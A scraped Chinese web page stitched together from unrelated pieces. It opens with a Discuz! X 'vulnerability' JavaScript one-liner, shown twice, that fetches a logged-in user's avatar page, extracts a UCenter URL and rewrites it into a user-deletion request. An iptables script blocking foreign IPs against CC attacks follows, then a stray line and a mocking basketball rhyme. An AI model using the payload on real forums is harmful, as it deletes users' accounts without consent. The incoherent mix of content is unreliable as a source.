Discuz! X漏洞
location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('删除ID'))?d:''; location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('删除ID'))?d:''; 听大佬们讨论如何防CC攻击,有大佬提出禁止国外IP访问,可以有所缓解,因此从路由器中移植了如下脚本,在CENTOS 6下调试通过。
使用:
先运行如下语句获取国内IP网段,会保存为/root/china_ssr.txt
wget -q --timeout=60 -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F\| '/CN\|ipv4/ { printf("%s/%d\n", $4, 32-log($5)/log(2)) }' > /root/china_ssr.txt
将下面脚本保存为/root/allcn.sh,设置可执行权限
运行
/root/allcn.sh
运行后国外IP无法访问网站
停止
/root/allcn.sh stop
运行后国外IP恢复访问网站
mmode=$1
CNIP="/root/china_ssr.txt"
gen_iplist() {
cat <<-EOF
$(cat ${CNIP:=/dev/null} 2>/dev/null)EOF
}
flush_r() {
iptables -F ALLCNRULE 2>/dev/null
iptables -D INPUT -p tcp -j ALLCNRULE 2>/dev/null
iptables -X ALLCNRULE 2>/dev/null
ipset -X allcn 2>/dev/null
}
mstart() {
ipset create allcn hash:net 2>/dev/null
ipset -! -R <<-EOF
$(gen_iplist | sed -e "s/^/add allcn /")
EOF
iptables -N ALLCNRULE
iptables -I INPUT -p tcp -j ALLCNRULE
iptables -A ALLCNRULE -s 127.0.0.0/8 -j RETURN
iptables -A ALLCNRULE -s 169.254.0.0/16 -j RETURN
iptables -A ALLCNRULE -s 224.0.0.0/4 -j RETURN
iptables -A ALLCNRULE -s 255.255.255.255 -j RETURN
iptables -A ALLCNRULE -m set --match-set allcn src -j RETURN
iptables -A ALLCNRULE -p tcp -j DROP
}
if [ "$mmode" == "stop" ] ;then
flush_r
exit 0
fi
flush_r
sleep 1
mstart
山东电信源,其他地区无效
浙江广厦素质高,满场谩骂不害臊。盘内盘外齐发招,清明篮协发公告。教练布置要上脚,还数刘峥执行好。睢冉犯规碰体毛,眼神不对都罚掉。快攻被吹脚踢球,哪来的脸喊黑哨?气的凯撒嗷嗷叫,四十比十公平哨?二十四秒不停表,对着裁判数钞票。你起跳来我垫脚,卸你胳膊还有好?绝世武功撩阴脚,自称自己是同胞。删掉所有的微博,球迷生气没处找。最气篮协不追罚,爹护儿子你有招?九秒吹进攻犯规,可惜罚球进不了。深圳山东都伤仨,只求辽宁健康保。还望辽宁要低调,一定要戒骄戒躁。二比零普天同庆,辽宁碰杯没个跑!全国球迷都期盼,拿下广厦匡正道!